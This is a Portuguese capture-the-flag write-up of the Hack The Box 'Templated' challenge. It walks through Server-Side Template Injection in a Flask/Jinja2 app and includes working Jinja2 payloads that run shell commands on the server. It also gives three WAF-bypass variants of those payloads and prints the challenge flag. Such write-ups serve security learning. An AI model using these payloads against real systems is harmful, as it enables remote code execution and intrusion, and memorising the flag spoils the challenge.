O desafio Templated permite que você explore a vulnerabilidade Server-Side Template Injection (SSTI).

💡 Informações sobre o Desafio

Creator Challenge Web Difficulty Points Flag
clubby789 Templated 🟢 EASY 20 HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}

🔨 Ferramenta Utilizada

💀 Vulnerabilidade Encontrada

Server-Side Template Injection (SSTI)
OWASP PortSwigger CWE-1336 BlackHat GitHub

📑 Passo a Passo

01 - Passo

Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://209.97.142.95:30127

  • Flask é um micro web framework escrito em Python.
  • Jinja2 é um template engine escrito em Python que facilita a criação de páginas HTML em aplicações Python.

02 - Passo

Pressione CTRL + SHIFT + I para Inspecionar os Elementos e clique na aba Network

Observe o lavor da linha Server do Response Headers : Werkzeug/1.0.1 Python/3.9.0

  • Werkzeug é uma biblioteca abrangente de aplicativos da Web WSGI.
  • Python é um template engine escrito em Python que facilita a criação de páginas HTML em aplicações Python.

03 - Passo

Observe que a página retorna o exatamente o texto que inseri na URL : http://209.97.142.95:30127/100security, o que já está relacionado com a vulnerabilidade de SSTI.


Exemplo : Se você inserir na URL {{7*7}} é realizado o cálculo da expressão informada.

http://209.97.142.95:30127/{{7*7}}

The page '49' could not be found

04 - Passo

Utilizando a biblioteca os, execute os comandos:

  • id : Para exibir o id do usuário logado no servidor.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

  • hostname : Exibir o hostname do servidor.
{{request.application.__globals__.__builtins__.__import__('os').popen('hostname').read()}}

  • uname -r : Exibir as informações do Kernel do sistema operacional.
{{request.application.__globals__.__builtins__.__import__('os').popen('uname -r').read()}}

  • ls : Exibir todos os arquivos e diretórios do diretório corrente.
{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}

  • cat flag.txt : Exibir a Flag que está no arquivo flag.txt
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

The page 'HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}' could not be found

WAF

Utilize os comando abaixo para dar ByPass no WAF.

  • Se o WAF bloquear . (ponto) , execute :
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
  • Se o WAF bloquear . (ponto) e _ (underline) , execute :
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
  • Se o WAF bloquear . (ponto) , _ (underline) , [ ] (colchetes) e | join , execute :
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

👍 Se este artigo te ajudou compartilhe!



  Autor

Marcos Henrique

 São Paulo/SP



  HackTheBox

© 2025 - 100SECURITY

Contato